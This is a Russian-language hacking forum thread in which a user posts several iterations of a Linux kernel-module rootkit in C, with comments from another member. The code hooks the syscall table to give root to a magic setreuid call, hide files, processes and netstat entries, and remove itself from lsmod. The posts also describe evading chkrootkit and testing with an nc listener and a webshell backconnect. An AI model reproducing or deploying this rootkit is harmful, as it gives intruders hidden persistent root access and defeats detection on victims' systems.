#define FILE_TO_HIDE "ioc3430.ko" /* File to hide from console (ls, ls -la & etc), webshell and krusader for example */
#define STEALTH_LKM 1 /* 1 - not present in lsmod & /proc/modules, 0 - can see */

unsigned long *syscall_table = (unsigned long *)0xOLOLO;
asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid);
asmlinkage int (*o_getdents) (unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count);
asmlinkage int n_getdents(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count)
{
        char *hide = FILE_TO_HIDE; 
        int i, j, tmp, uncopied, retval;
        unsigned char *oldents, *newents;
        struct linux_dirent64 *ent;
        retval = o_getdents(fd, dirent, count);
        if (retval <= 0) {
                return retval;
        }
        oldents = kmalloc(count, GFP_KERNEL);
        if (oldents == NULL) {
                printk("Failed to allocate for oldents\n");
                return -ENOENT;
        }
        newents = kmalloc(count, GFP_KERNEL);
        if (newents == NULL) {
                kfree(oldents);
                printk("Failed to allocate for newents\n");
                return -ENOENT;
        }
        uncopied = copy_from_user(oldents, dirent, count);
        i = 0;j = 0;
        while (i < retval) {
                ent = ((void *) oldents) + i;
                if (strstr(ent->d_name, hide) == ent->d_name) {
                        i += ent->d_reclen;
                } else {
                        tmp = ent->d_reclen;
                        while (tmp > 0) {
                                newents[j] = oldents[i];
                                i++; j++; tmp--;
                        }
                }
        }
        uncopied = copy_to_user(dirent, newents, count);
        kfree(oldents);
        kfree(newents);
        return j;
}       
asmlinkage int new_setreuid (uid_t ruid, uid_t euid) {
	struct cred *new;
	 if ((ruid == 3410) && (euid == 0143))	 {
		 printk(KERN_ALERT "[Correct] \n");
                 #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)                        
                    current->uid = current -> gid = 0;
	            current -> euid = current -> egid = 0;
	            current -> suid = current -> sgid = 0;
	            current -> fsuid = current -> fsgid = 0;
	 
	        #else
	            new = prepare_creds();
	            if ( new != NULL ) {
	                new->uid = new->gid = 0;
	                new->euid = new->egid = 0;
	                new->suid = new->sgid = 0;
	                new->fsuid = new->fsgid = 0;
	                commit_creds(new);
	            }
	        #endif
		 return orig_setreuid (0, 0);
	 }
	 return orig_setreuid (ruid, euid);
}
static int init(void) {
	printk(KERN_ALERT "\nHIJACK INIT\n");
	write_cr0 (read_cr0 () & (~ 0x10000));
	orig_setreuid = syscall_table [__NR_setreuid32];
	syscall_table [__NR_setreuid32] = new_setreuid;
        o_getdents = syscall_table[__NR_getdents64];
        syscall_table[__NR_getdents64]=n_getdents;
        if (STEALTH_LKM == 1){
          list_del_init(&__this_module.list);
        }
	write_cr0 (read_cr0 () | 0x10000);
	return 0;
}
static void exit(void) {
	write_cr0 (read_cr0 () & (~ 0x10000));
	syscall_table[__NR_setreuid32] = orig_setreuid;
	write_cr0 (read_cr0 () | 0x10000);
	printk(KERN_ALERT "MODULE EXIT\n");
	return;
}
module_init(init);
module_exit(exit);
полная сборка в архиве

PS: в данном варианте прячет от просмотра модуль ioc3430.ko в папке /lib/modules/`uname -a`/kernel/drivers/misc

chkrootkit - nothing found
Вложения
Тип файла: zip rootkit_stealth.zip (5.0 Кб, 471 просмотров)

Последний раз редактировалось Pashkela; 05.02.2011 в 03:57..
Pashkela вне форума   Ответить с цитированием
Старый 05.02.2011, 12:23   #5
Shadow
 
Регистрация: 01.07.2010
Сообщений: 35
Репутация: 55
По умолчанию

В качестве информации (если будет время и желание), как правило, используют следующий подход для управления руткитом, в том числе и для указания списка скрываемых файлов и процессов.
Создается конфигурационный файл с уникальным именем, который скрывается всегда и его имя прописано жестко в коде, как собственно и приведено выше.
А уже непосредственно в конфиге, создаются разделы со списками скрываемых файлов и процессов. Конфиг опрашивается руткитом с определенной периодичностью и\или по дополнительной внутренней команде (наступлению события).
Появляется гибкость и удобство в управлении (правка одного файла конфига без пересборки и перезагрузки), имхо, не особо сложно в реализации.
Также можно поместить в конфиг дополнительные функции управления руткитом.
Shadow вне форума   Ответить с цитированием
Старый 13.02.2011, 13:41   #6
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Беру небольшой таймаут. Такая элементарная с виду вещь, как скрыть процесс от ps aux в современных линуксах, съела мой мозг. Простое исключение из массива ссылок /proc не дает нужного эффекта и работает просто как вирус (система наглухо виснет - после ps aux напротив процесс высвечивается типо андефинит). Нету ни одного нормального (актуального) примера работы с syscall_table[__NR_stat64], что показывает strace ps, в общем ушол много думать

PS: Если кто в теме - пишите в ЛС или осику, будет круто

ми все равно добью, рано или поздно
Pashkela вне форума   Ответить с цитированием
Старый 17.02.2011, 12:45   #7
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

йеха!) Научился скрывать процессы от ps aux, но chkrootkit тут же заорал)) Это что-то, блин. В общем идея в перехвате write sys_call и фильтрации по маске (не по PID), т.е. если допустим хотите скрыть процесс "ololo#srfsf!!!", то достаточно в LKM вставить

#define PROCESS_TO_HIDE "ololo"

ps aux от root-а даже ничего не покаже"ololo") Недостатки:

1) процесс с его номером остается в виде каталога в /proc
2) write - глобальная фигня, много где применяется, после такого LKM не будет работать echo "ololo">111111.txt (правда это можно рассмотреть и как достоинство, если например логируется IP или USER[куда угодно] - в общем надо думать)
3) палится chkrootkit (думаю как раз из-за пункта 1)
Цитата:
Checking `lkm'... Killed
You have 4 process hidden for readdir command
You have 43 process hidden for ps command
chkproc: Warning: Possible LKM Trojan installed
простым скрытием каталога отделаться не удалось пока, ушел дальше думать, пока потестите, кто хочет

ioc3430.c (остальное тоже самое):

Код:
/* LKM rootkit by Pashkela - for Rdot.org */
/* Tetsted on Linux 2.6.31-22-generic #71-Ubuntu SMP Thu Jan 6 22:47:22 UTC 2011 i686 GNU/Linux */  
/* $: strace ps;ltrace ps*/
/* /usr/src/linux-source-2.6.31/fs/proc/base.c */
/* /usr/include/bits/syscall.h*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <linux/sched.h> /* /usr/src/linux-headers-2.6.31-22/include/linux/ */
#include <linux/kallsyms.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <asm/unistd.h>
#include <linux/file.h>
#include <net/sock.h>
#include <net/tcp.h>
#include <linux/smp_lock.h>
#define FILE_TO_HIDE "123.txt" /* File to hide from console (ls, ls -la & etc), webshell and krusader for example */
#define PROCESS_TO_HIDE "pidgin" /* Process to hide from ps aux and /proc - by mask, if process name "ololo123$111" than "ololo" enough */
#define STEALTH_LKM 1 /* 1 - not present in lsmod & /proc/modules, 0 - can see */
asmlinkage int (*orig_write)(unsigned int fd,char *buf,unsigned int count);
asmlinkage int write_write(unsigned int fd,char *buf,unsigned int count)
{ 
 char *hide=PROCESS_TO_HIDE;

 if(strstr(buf,hide)!=NULL){
  printk(KERN_ALERT "find name.\n");
  return count;
 }
 else{
  return orig_write(fd,buf,count);
 }
}
unsigned long *syscall_table = (unsigned long *)0xc057c150;
asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid);
asmlinkage int (*o_getdents) (unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count);
asmlinkage int n_getdents(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count)
{
        char *hide_file = FILE_TO_HIDE;
        int i, j, tmp, uncopied, retval;
        unsigned char *oldents, *newents;
        struct linux_dirent64 *ent;
        retval = o_getdents(fd, dirent, count);
        if (retval <= 0) {
                return retval;
        }
        oldents = kmalloc(count, GFP_KERNEL);
        if (oldents == NULL) {
                printk("Failed to allocate for oldents\n");
                return -ENOENT;
        }
        newents = kmalloc(count, GFP_KERNEL);
        if (newents == NULL) {
                kfree(oldents);
                printk("Failed to allocate for newents\n");
                return -ENOENT;
        }
        uncopied = copy_from_user(oldents, dirent, count);
        i = 0;j = 0;
        while (i < retval) {
                ent = ((void *) oldents) + i;
                if (strstr(ent->d_name, hide_file) == ent->d_name) {
                        i += ent->d_reclen;
                } else {
                        tmp = ent->d_reclen;
                        while (tmp > 0) {
                                newents[j] = oldents[i];
                                i++; j++; tmp--;
                        }
                }
        }
        uncopied = copy_to_user(dirent, newents, count);
        kfree(oldents);
        kfree(newents);
        return j;
}       
asmlinkage int new_setreuid (uid_t ruid, uid_t euid) {
	struct cred *new;
	 if ((ruid == 3410) && (euid == 0143))	 {
		 printk(KERN_ALERT "[Correct] \n");
                 #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)                        
                    current->uid = current -> gid = 0;
	            current -> euid = current -> egid = 0;
	            current -> suid = current -> sgid = 0;
	            current -> fsuid = current -> fsgid = 0;
	 
	        #else
	            new = prepare_creds();
	            if ( new != NULL ) {
	                new->uid = new->gid = 0;
	                new->euid = new->egid = 0;
	                new->suid = new->sgid = 0;
	                new->fsuid = new->fsgid = 0;
	                commit_creds(new);
	            }
	        #endif
		 return orig_setreuid (0, 0);
	 }
	 return orig_setreuid (ruid, euid);
}
static int init(void) {

struct tcp_seq_afinfo *my_afinfo = NULL;
      	printk(KERN_ALERT "\nHIJACK INIT\n");
	write_cr0 (read_cr0 () & (~ 0x10000));
	orig_setreuid = syscall_table [__NR_setreuid32];
	syscall_table [__NR_setreuid32] = new_setreuid;
        o_getdents = syscall_table[__NR_getdents64];
        syscall_table[__NR_getdents64]=n_getdents;
        orig_write=syscall_table[__NR_write];
        syscall_table[__NR_write]=write_write;
        if (STEALTH_LKM == 1){
          list_del_init(&__this_module.list);
        }
	write_cr0 (read_cr0 () | 0x10000);
	return 0;
}
static void exit(void) {
	write_cr0 (read_cr0 () & (~ 0x10000));
	syscall_table[__NR_setreuid32] = orig_setreuid;
        syscall_table[__NR_getdents64] = o_getdents;
	write_cr0 (read_cr0 () | 0x10000);
	printk(KERN_ALERT "MODULE EXIT\n");
	return;
}
module_init(init);
module_exit(exit);
Достоинства:

- выбранный нами процесс по маске не показывается в ps aux даже от root
- процесс остается рабочим полностью (тестил на pidgin)

PS: Ушел допиливать

Но это как бы не совсем провал, а в принципе революция, ибо спалится это только если root запустит chkrootkit когда есть палевные процессы от хекера, ничто нам не помешает по завершению наших дел (быстрых и оперативных) сделать например

kill 7194

т.е. убить палевный процесс и chkrootkit опять будет спокоен (ан нет, по прежнему палит, сцук, надо еще разбираться с дочерними процессами по ходу)

Последний раз редактировалось Pashkela; 17.02.2011 в 15:04..
Pashkela вне форума   Ответить с цитированием
Старый 17.02.2011, 15:24   #8
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
Pashkela:

write - глобальная фигня, много где применяется, после такого LKM не будет работать echo "ololo">111111.txt (правда это можно рассмотреть и как достоинство, если например логируется IP или USER[куда угодно] - в общем надо думать)
Решено! chkrootkit не палит, если PROCESS_TO_HIDE не присутствует (NULL). Т.е. палит, но только во время работы хекера (когда он задал имя процесса на скрытие из консоли или из файла), вывод - выбрать такое время, когда root не запустит chkrootkit.

Ушел рабoтать на хайд процесс, инфо из netstat (почти всё, осталось только децл доделать конфиги, из которых будут браться файлы/процессы/ip на скрытие и их удаление, чтобы не палилось chkrootkit)

Цитата:
root@pashkela-desktop:/home/pashkela/Toolza/rootkit# chkrootkit
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `crontab'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not found
Checking `gpm'... not found
Checking `grep'... not infected
Checking `hdparm'... not infected
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not infected
Checking `inetdconf'... not infected
Checking `identd'... not found
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... not infected
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not infected
Checking `mail'... not infected
Checking `mingetty'... not found
Checking `netstat'... not infected
Checking `named'... not infected
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... not infected
Checking `rpcinfo'... not infected
Checking `rlogind'... not found
Checking `rshd'... not found
Checking `slogin'... not infected
Checking `sendmail'... not infected
Checking `sshd'... not infected
Checking `syslogd'... not tested
Checking `tar'... not infected
Checking `tcpd'... not infected
Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not found
Checking `timed'... not found
Checking `traceroute'... not found
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while... nothing found
Searching for rootkit HiDrootkit's default files... nothing found
Searching for rootkit t0rn's default files... nothing found
Searching for t0rn's v8 defaults... nothing found
Searching for rootkit Lion's default files... nothing found
Searching for rootkit RSHA's default files... nothing found
Searching for rootkit RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while...
/usr/lib/jvm/.java-6-sun.jinfo /usr/lib/jvm/java-6-sun-1.6.0.22/.systemPrefs /usr/lib/xulrunner-1.9.1.16/.autoreg /usr/lib/firefox-3.6.13/.autoreg /usr/lib/pymodules/python2.6/.path /usr/lib/pymodules/python2.6/PyQt4/uic/widget-plugins/.noinit /usr/lib/pymodules/python2.5/.path /usr/lib/pymodules/python2.5/PyQt4/uic/widget-plugins/.noinit

Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for rootedoor... nothing found
Searching for ENYELKM rootkit default files... nothing found
Searching for common ssh-scanners default files... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
chkdirs: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... lo: not promisc and no packet sniffer sockets
ppp0: not promisc and no packet sniffer sockets
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted
это когда PROCESS_TO_HIDE = NULL, осталось только сделать, чтобы он менялся его динамически ^_^


ОЛОЛОЛО! Таким же макаром спокойно скрываемся от netstat - просто

#define PROCESS_TO_HIDE "localhost:31337" (т.е. также просто задаем маску того, что надо скрыть, достаточно части строки)

и всё!) Уря

*восторг*

Последний раз редактировалось Pashkela; 17.02.2011 в 15:53..
Pashkela вне форума   Ответить с цитированием
Старый 17.02.2011, 16:57   #9
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

update:

файл, который спрятать:

#define FILE_TO_HIDE "123.txt"

строка (маска) которую спрятать из netstat:

#define STRING_HIDE_NETSTAT "localhost:31337"

процесс (маска), который спрятать от ps aux:

#define PROCESS_TO_HIDE "pidgin"

ioc3430.c:

Код:
/* LKM rootkit by Pashkela - for Rdot.org */
/* Tetsted on Linux 2.6.31-22-generic #71-Ubuntu SMP Thu Jan 6 22:47:22 UTC 2011 i686 GNU/Linux */  
/* $: strace ps;ltrace ps*/
/* /usr/src/linux-source-2.6.31/fs/proc/base.c */
/* /usr/include/bits/syscall.h*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <linux/sched.h> /* /usr/src/linux-headers-2.6.31-22/include/linux/ */
#include <linux/kallsyms.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <asm/unistd.h>
#include <linux/file.h>
#include <net/sock.h>
#include <net/tcp.h>
#include <linux/smp_lock.h>
#define FILE_TO_HIDE "123.txt" /* File to hide from console (ls, ls -la & etc), webshell and krusader for example */
#define STRING_HIDE_NETSTAT "localhost:31337" /* String to hide from <netstat> command - by mask, if string = "tcp 0 0 ppp85-141-158-82.:49304 localhost:aol ESTABLISHED" than "ppp85-141-158-82.:49304" enough, if not - NULL */
#define PROCESS_TO_HIDE "pidgin" /* Process to hide from <ps aux> command - by mask, if process name "root 7405 0.0 2.6 67788 27356 ? Sl 18:24 0:02 pidgin" than "pidgin" enough, if not - NULL */
#define STEALTH_LKM 1 /* 1 - not present in lsmod & /proc/modules, 0 - can see */
asmlinkage int (*orig_write)(unsigned int fd,char *buf,unsigned int count);
asmlinkage int write_write(unsigned int fd,char *buf,unsigned int count)
{ 
 if( (strstr(buf,PROCESS_TO_HIDE)!=NULL) || (strstr(buf,STRING_HIDE_NETSTAT)!=NULL) ){
  printk(KERN_ALERT "\n");
  return count;
 }
 else{
  return orig_write(fd,buf,count);
 }
}
unsigned long *syscall_table = (unsigned long *)0xOLOLO;
asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid);
asmlinkage int (*o_getdents) (unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count);
asmlinkage int n_getdents(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count)
{
        char *hide_file = FILE_TO_HIDE;
        int i, j, tmp, uncopied, retval;
        unsigned char *oldents, *newents;
        struct linux_dirent64 *ent;
        retval = o_getdents(fd, dirent, count);
        if (retval <= 0) {
                return retval;
        }
        oldents = kmalloc(count, GFP_KERNEL);
        if (oldents == NULL) {
                printk("\n");
                return -ENOENT;
        }
        newents = kmalloc(count, GFP_KERNEL);
        if (newents == NULL) {
                kfree(oldents);
                printk("\n");
                return -ENOENT;
        }
        uncopied = copy_from_user(oldents, dirent, count);
        i = 0;j = 0;
        while (i < retval) {
                ent = ((void *) oldents) + i;
                if (strstr(ent->d_name, hide_file) == ent->d_name) {
                        i += ent->d_reclen;
                } else {
                        tmp = ent->d_reclen;
                        while (tmp > 0) {
                                newents[j] = oldents[i];
                                i++; j++; tmp--;
                        }
                }
        }
        uncopied = copy_to_user(dirent, newents, count);
        kfree(oldents);
        kfree(newents);
        return j;
}       
asmlinkage int new_setreuid (uid_t ruid, uid_t euid) {
	struct cred *new;
	 if ((ruid == 3410) && (euid == 0143))	 {
		 printk(KERN_ALERT "\n");
                 #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)                        
                    current->uid = current -> gid = 0;
	            current -> euid = current -> egid = 0;
	            current -> suid = current -> sgid = 0;
	            current -> fsuid = current -> fsgid = 0;
	 
	        #else
	            new = prepare_creds();
	            if ( new != NULL ) {
	                new->uid = new->gid = 0;
	                new->euid = new->egid = 0;
	                new->suid = new->sgid = 0;
	                new->fsuid = new->fsgid = 0;
	                commit_creds(new);
	            }
	        #endif
		 return orig_setreuid (0, 0);
	 }
	 return orig_setreuid (ruid, euid);
}
static int init(void) {

struct tcp_seq_afinfo *my_afinfo = NULL;
      	printk(KERN_ALERT "\n");
	write_cr0 (read_cr0 () & (~ 0x10000));
	orig_setreuid = syscall_table [__NR_setreuid32];
	syscall_table [__NR_setreuid32] = new_setreuid;
        o_getdents = syscall_table[__NR_getdents64];
        syscall_table[__NR_getdents64]=n_getdents;
        orig_write=syscall_table[__NR_write];
        syscall_table[__NR_write]=write_write;
        if (STEALTH_LKM == 1){
          list_del_init(&__this_module.list);
        }
	write_cr0 (read_cr0 () | 0x10000);
	return 0;
}
static void exit(void) {
	write_cr0 (read_cr0 () & (~ 0x10000));
	syscall_table[__NR_setreuid32] = orig_setreuid;
        syscall_table[__NR_getdents64] = o_getdents;
	write_cr0 (read_cr0 () | 0x10000);
	printk(KERN_ALERT "MODULE EXIT\n");
	return;
}
module_init(init);
module_exit(exit);
Чтобы не палилось chkrootkit:

#define STRING_HIDE_NETSTAT NULL
#define PROCESS_TO_HIDE NULL

Автозагрузку убрал пока, работает только во время текущей сессии

полный комплект в архиве, просьба потестить на глюки

как тестить:

- запускаем pidgin
- в консоли ps aux - видим там pidgin
- в консоли: nc -l -n -v -p 31337, заходим в wso (localhost)->Network, делаем backconnect
- в консоли - netstat - видим там себя (localhost:31337)
- в консоли: заходим в папку с руткитом, ~$ sh run.sh
- в консоли ps aux - не видим там pidgin
- в консоли - netstat - не видим там себя (localhost:31337)
- все действия из под root
- чтобы отменить все изменения - перезагрузка only


PS: маски выбирайте по конкретнее, всё, что в маске - не будет писаться никуда, касается STRING_HIDE_NETSTAT и PROCESS_TO_HIDE (при загруженном модуле, если будете редактировать ioc3430.c - обнулиться уже работаю на перехватом write только если присутствует ps, top, netstat с любыми ключами)

пишу конфигуратор
Вложения
Тип файла: zip rootkit_last.zip (2.7 Кб, 464 просмотров)

Последний раз редактировалось Pashkela; 17.02.2011 в 20:19..
Pashkela вне форума   Ответить с цитированием
Старый 02.03.2011, 20:07   #10
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Научился пока скрывать много процессов (в примере выше только первый встречающийся из списка, даже если и был бы список) от ps aux, top, netstat - причем только если в командной строке в консоли встречаются (по маске) ps, top, netstat c любыми ключами. Принцип тот же - перехват write, но уже более специализированно и продуманно (разницу можно увидеть в коде). Можно потестить на баги и внести свои предложения по тем командам, которые кроме строк, содержащих ps, top, netstat могут получить список процессов, соединений и т.д.

Код:
/* LKM rootkit by Pashkela - for Rdot.org */
/* Tetsted on Linux 2.6.31-22-generic #71-Ubuntu SMP Thu Jan 6 22:47:22 UTC 2011 i686 GNU/Linux */  
/* $: strace ps;ltrace ps*/
/* /usr/src/linux-source-2.6.31/fs/proc/base.c */
/* /usr/include/bits/syscall.h*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <linux/sched.h> /* /usr/src/linux-headers-2.6.31-22/include/linux/ */
#include <linux/kallsyms.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <asm/unistd.h>
#include <linux/file.h>
#include <net/sock.h>
#include <net/tcp.h>
#include <linux/smp_lock.h>
char *HIDE_FROM_COMMAND[] = {
    "ps",
    "netstat",
    "top",
    NULL
};
char *STRING_TO_HIDE[] = {
    "cron",
    "pidgin",
    NULL
};
int l_endline;
#define FILE_TO_HIDE "123.txt" /* File to hide from console (ls, ls -la & etc), webshell and krusader for example */
#define STEALTH_LKM 1 /* 1 - not present in lsmod & /proc/modules, 0 - can see */
unsigned long *syscall_table = (unsigned long *)0xc057c150;
asmlinkage int (*orig_write)(unsigned int fd,char *buf,unsigned int count);
asmlinkage int write_write(unsigned int fd,char *buf,unsigned int count)
{ 
    char *kbuf,*start,*end;
    int  r,i,z;
    size_t mycount,tmp;
    for (z = 0, i = 0; HIDE_FROM_COMMAND[i]; ++i)
	if (strstr(current->comm, HIDE_FROM_COMMAND[i]))
	    z++;
    if (z == 0)
	return orig_write(fd, buf, count);
    kbuf = (char *) kmalloc(count, GFP_KERNEL);
    if (kbuf == NULL) {
	return orig_write(fd, buf, count);
    }
    copy_from_user(kbuf, buf, count);
    start = kbuf;
    mycount = count;
    if (!l_endline)
	for (tmp = 0; tmp < count; ++tmp)
	    if (kbuf[tmp] == '\n') {
		start = &kbuf[tmp] + 1;
		mycount -= tmp + 1;
		break;
	    }
    for (tmp = count; tmp > 0; tmp--)
	if (kbuf[tmp - 1] == '\n')
	    break;
    l_endline = count == tmp ? 1 : 0;
    mycount -= count - tmp;
    while ((end = memchr(start, '\n', mycount)) != NULL) {
	tmp = end - start + 1;
	*end = '\0';
	for (z = 0, i = 0; STRING_TO_HIDE[i]; ++i)
	    if (strstr(start, STRING_TO_HIDE[i]))
		z++;
	*end = '\n';
	if (z == 0) {
	    copy_to_user(buf, start, tmp);
	    r = orig_write(fd, buf, tmp);
	    if (r == -1)
		break;
	}
	mycount -= tmp;
	start = ++end;
    }
    kfree(kbuf);
    return count;
}
asmlinkage int (*o_getdents) (unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count);
asmlinkage int n_getdents(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count)
{
        int i, j, tmp, uncopied, retval;
        unsigned char *oldents, *newents;
        struct linux_dirent64 *ent;
        retval = o_getdents(fd, dirent, count);
        if (retval <= 0) {
                return retval;
        }
        oldents = kmalloc(count, GFP_KERNEL);
        if (oldents == NULL) {
                return -ENOENT;
        }
        newents = kmalloc(count, GFP_KERNEL);
        if (newents == NULL) {
                kfree(oldents);
                return -ENOENT;
        }
        uncopied = copy_from_user(oldents, dirent, count);
        i = 0;j = 0;
        while (i < retval) {
                ent = ((void *) oldents) + i;
                if (strstr(ent->d_name, FILE_TO_HIDE) == ent->d_name) {
                        i += ent->d_reclen;
                } else {
                        tmp = ent->d_reclen;
                        while (tmp > 0) {
                                newents[j] = oldents[i];
                                i++; j++; tmp--;
                        }
                }
        }
        uncopied = copy_to_user(dirent, newents, count);
        kfree(oldents);
        kfree(newents);
        return j;
}       
asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid);
asmlinkage int new_setreuid (uid_t ruid, uid_t euid) {
	struct cred *new;
        if ((ruid == 3410) && (euid == 0143))	 {
                 #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)                        
                    current->uid = current -> gid = 0;
	            current -> euid = current -> egid = 0;
	            current -> suid = current -> sgid = 0;
	            current -> fsuid = current -> fsgid = 0;
	 
	        #else
	            new = prepare_creds();
	            if ( new != NULL ) {
	                new->uid = new->gid = 0;
	                new->euid = new->egid = 0;
	                new->suid = new->sgid = 0;
	                new->fsuid = new->fsgid = 0;
	                commit_creds(new);
	            }
	        #endif
		 return orig_setreuid (0, 0);
	 }
	 return orig_setreuid (ruid, euid);
}
static int init(void) {
	write_cr0 (read_cr0 () & (~ 0x10000));
	orig_setreuid = syscall_table [__NR_setreuid32];
	syscall_table [__NR_setreuid32] = new_setreuid;
        o_getdents = syscall_table[__NR_getdents64];
        syscall_table[__NR_getdents64]=n_getdents;
        orig_write=syscall_table[__NR_write];
        syscall_table[__NR_write]=write_write;
        write_write;
        if (STEALTH_LKM == 1){
          list_del_init(&__this_module.list);
        }
	write_cr0 (read_cr0 () | 0x10000);
	return 0;
}
static void exit(void) {
	write_cr0 (read_cr0 () & (~ 0x10000));
	syscall_table[__NR_setreuid32] = orig_setreuid;
        syscall_table[__NR_getdents64] = o_getdents;
        syscall_table[__NR_write] = orig_write;
	write_cr0 (read_cr0 () | 0x10000);
	return;
}
module_init(init);
module_exit(exit);
MODULE_LICENSE("GPL");
PS: внесен MODULE_LICENSE("GPL"), чтобы при загрузке различные системы безопасности на разных ядрах не начинали орать благим матом, ведется работа над аналогичным способом хайда файлов (уже есть, хочется пооптимальней). Ведется работа над хайдом от chkrootkit. Конфиг пишется за 5 минут после решения проблемы мультихайда файлов. Но уже, кхм, аналогов нет. По крайней мере в паблике. Даже на китайском (кстати большинство теории и примеров по внедрению некоторых вещей именно из Китая, как не странно, никогда не думал, что там именно это направление настолько популизированно)

Приветствуются ваши варианты по поводу конфигов, пока примерно такая схема предполагается (ми придумал ):

1. Первый конфиг кладется рядом с lkm, и тот и другой прячутся, первый конфиг - это обычный config.h (заголовочный файл), 0777, в котором прописывается путь ко второму конфигу, содержащему основные параметры и находящемуся где угодно, хоть и просто доступ из web (вплоть до обычный .txt или любой другой ваш вариант) и тоже, конечно, спрятанный и 0777

2. И уж во втором прописаны пути к файлам, содержащие списки процессов/файлов на скрытие, которые тоже конечно автохайд и 0777.

Почему такая схема предложена?

1. Чтобы иметь возможность редактировать файлы/процессы на скрытие из обычного шелла из под обычного юзера (просто удобство)

2. Чтобы в принципе пореже лазить в системные папки и тачить их по делу и без. А работать в основном из под окружения обычного юзера. И лишь в редких случаях менять путь ко второму конфигу в первом конфиге (т.к. нельзя редактировать сам LKM после его компиляции и загрузки, ибо бинарник )

И вообще, поактивней, товарисчи, это блин ппц мне тоже нелигко) Делайте ваши предложения, чтобы потом не передумывать/переписывать

Последний раз редактировалось Pashkela; 02.03.2011 в 20:23..
Pashkela вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



